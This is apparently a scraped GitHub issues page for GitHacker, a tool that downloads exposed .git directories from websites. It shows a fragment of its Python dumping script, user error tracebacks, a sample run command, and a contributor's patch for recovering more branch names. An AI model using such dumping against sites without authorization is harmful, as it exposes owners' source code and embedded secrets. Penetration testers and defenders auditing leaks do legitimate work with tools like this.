        prehash = line.split(" ")[0]
        nexthash = line.split(" ")[1]
        path = "./%s/.git/objects/%s/%s" % (temppath,
                                            nexthash[0:2], nexthash[2:])
        url = "%sobjects/%s/%s" % (
            baseurl, nexthash[0:2], nexthash[2:])

        try:
            os.makedirs("./%s/%s", (temppath, path))
        except Exception as e:
            print("[-] %s" % (e))

        print((url, path))
        downloadFile(url, path)

    print("[+] Start fixing missing files...")
    # download missing files
    fixmissing(baseurl, temppath)

    # git reset to the last commit
    os.system("cd ./%s; git reset --hard;" % temppath)

    print("[+] All file downloaded! Please enter the dir and type `git reflog` to show all log info!")

if __name__ == "__main__":
    main()


IsADirectoryError: [Errno 21] Is a directory: '/tmp/tmpqouh7cck/.git/objects/pack'

I passed this command.
githacker --url 'https://www.example.com/.git' --threads 3 --output-folder res

The script is running well. But after some time this error came

Traceback (most recent call last):

  File "/usr/local/bin/githacker", line 8, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.10/dist-packages/GitHacker/__init__.py", line 482, in main
    ).start()
  File "/usr/local/lib/python3.10/dist-packages/GitHacker/__init__.py", line 90, in start
    return self.sighted()
  File "/usr/local/lib/python3.10/dist-packages/GitHacker/__init__.py", line 110, in sighted
    return self.git_clone()
  File "/usr/local/lib/python3.10/dist-packages/GitHacker/__init__.py", line 226, in git_clone
    self.copy_useful_files()
  File "/usr/local/lib/python3.10/dist-packages/GitHacker/__init__.py", line 199, in copy_useful_files
    shutil.copy(src, dst)
  File "/usr/lib/python3.10/shutil.py", line 417, in copy
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.10/shutil.py", line 254, in copyfile
    with open(src, 'rb') as fsrc:
IsADirectoryError: [Errno 21] Is a directory: '/tmp/tmpqouh7cck/.git/objects/pack'

error after success message

Traceback (most recent call last):
File "GitHacker.py", line 186, in
main()
File "GitHacker.py", line 162, in main
nexthash = line.split(" ")[1]
IndexError: list index out of range

python: can't open file 'GitHacker.py': [Errno 2] No such file or directory

1

่ฏ•ไบ†ๅฅฝๅคš้๏ผŒๅŽๆฅ็›ดๆŽฅgit cloneไน‹ๅŽ๏ผŒpipไบ†็Žฏๅขƒ๏ผŒๅˆ ไบ†ๆ–‡ไปถๅคนๅˆ้‡ๆฅไบ†ไธ€่พน
่ฟ˜ๆ˜ฏๆ็คบๆ‰พไธๅˆฐpyๆ–‡ไปถใ€‚ใ€‚ใ€‚ใ€‚

ไธ€่„ธๆ‡ต

Why another git detector/dumper ?

Hi,

Can you add a Why another git detector/dumper" section in the README? This is an usual practice for developer that created a new tool that looks very similar to existing tool, to explain why their tool if different/needed, what new it is bringing that other tool can't offer due to technical dept, why it was not possible to join current maintainer of existing tool to help them adding a need feature rather than creating a new fork or tool from scratch that just divide the community.

There is already well-known quality tools such as dvcs-ripper or GitTools so you must have a good reason to develop yet another tool from scratch and alone.
Because I don't see why people should use this tool rather than existing one that are more maintained. Both dvcs-ripper and GitTools can dump git directory and not only dump the last revision like the githack tool you mentioned.

ๅฝ“ๅ‰ๅˆ†ๆ”ฏ่‹ฅไธไธบmasterๅฐ†ๅ‡บ็Žฐ้”™่ฏฏใ€ๅคšๅˆ†ๆ”ฏไธไผšๅ…จ้ƒจ่ขซๅ…‹้š†

ๅปบ่ฎฎไปŽ.git/HEADไธญ่ฏปๅ–ๅฝ“ๅ‰ๅˆ†ๆ”ฏๅ
ไปŽ.git/logs/HEAD่Žทๅพ—ๆ›ดๅคšๅˆ†ๆ”ฏๅ
่งฃๅ†ณๆ–นๆณ•็คบไพ‹๏ผš
ๅœจadd_basic_file_tasksๅ‡ฝๆ•ฐไธญไฟฎๆ”นๅฆ‚ไธ‹

        branch_names = ["master", "main", "dev", "release", "test","testing", "feature", "ng", "fix", "hotfix", "quickfix"]

        try:
            content=requests.get(self.url+'.git/logs/HEAD',verify=self.verify).text
            branches=re.findall(r'moving from ([a-zA-Z\d]+) to ([a-zA-Z\d]+)',content)
            for branch in branches:
                if branch[0] not in branch_names:
                    branch_names.append(branch[0])
                if branch[1] not in branch_names:
                    branch_names.append(branch[1])
            content=requests.get(self.url+'.git/HEAD',verify=self.verify).text
            branch=content.split('/')[-1]
            if branch not in branch_names:
                branch_names.append(branch)
        except:
            pass

่ฟ™ๆ ทไป–ๅฐ†ๅฏไปฅๅฐฝๅฏ่ƒฝๅคš็š„ไธ‹่ฝฝๅˆ†ๆ”ฏๅญ˜ๆ”พๅœจไธดๆ—ถ็›ฎๅฝ•๏ผŒๆœ€ๅŽไธ€ๆญฅgit cloneๆ—ถ๏ผŒ้ป˜่ฎคๅชๅ…‹้š†ๅฝ“ๅ‰ๅˆ†ๆ”ฏ๏ผŒไฝ ้œ€่ฆๅ…‹้š†ๆ‰€ๆœ‰ๅˆ†ๆ”ฏ๏ผ›ๆˆ–่€…ๅฐ†ไธ‹่ฝฝ็š„ๆ–‡ไปถ็›ดๆŽฅๅญ˜ๆ”พๅœจ--folderๆŒ‡ๅฎš็š„็›ฎๅฝ•๏ผŒไฝฟ็”จgit reset --hard HEAD ๅ‘ฝไปคๆฅๆขๅคๆœ€ๅŽ็‰ˆๆœฌ

UnicodeDecodeError: 'utf-8' codec can't decode

Traceback (most recent call last):
File "/usr/local/bin/githacker", line 11, in
load_entry_point('GitHacker==1.0.2', 'console_scripts', 'githacker')()
File "/usr/local/lib/python3.8/dist-packages/GitHacker-1.0.2-py3.8.egg/GitHacker/init.py", line 265, in main
File "/usr/local/lib/python3.8/dist-packages/GitHacker-1.0.2-py3.8.egg/GitHacker/init.py", line 45, in start
File "/usr/local/lib/python3.8/dist-packages/GitHacker-1.0.2-py3.8.egg/GitHacker/init.py", line 197, in add_blob_file_tasks
File "/home/romanee/.local/lib/python3.8/site-packages/git/index/base.py", line 441, in iter_blobs
for entry in self.entries.values():
File "/home/romanee/.local/lib/python3.8/site-packages/gitdb/util.py", line 253, in getattr
self.set_cache(attr)
File "/home/romanee/.local/lib/python3.8/site-packages/git/index/base.py", line 128, in set_cache
self._deserialize(stream)
File "/home/romanee/.local/lib/python3.8/site-packages/git/index/base.py", line 157, in _deserialize
self.version, self.entries, self._extension_data, _conten_sha = read_cache(stream)
File "/home/romanee/.local/lib/python3.8/site-packages/git/index/fun.py", line 198, in read_cache
path = read(path_size).decode(defenc)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x96 in position 0: invalid start byte

็ณป็ปŸ็Žฏๅขƒ
ubuntu20
pip 20.0.2 from /usr/lib/python3/dist-packages/pip (python 3.8)
python 3.8
git version 2.25.1

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.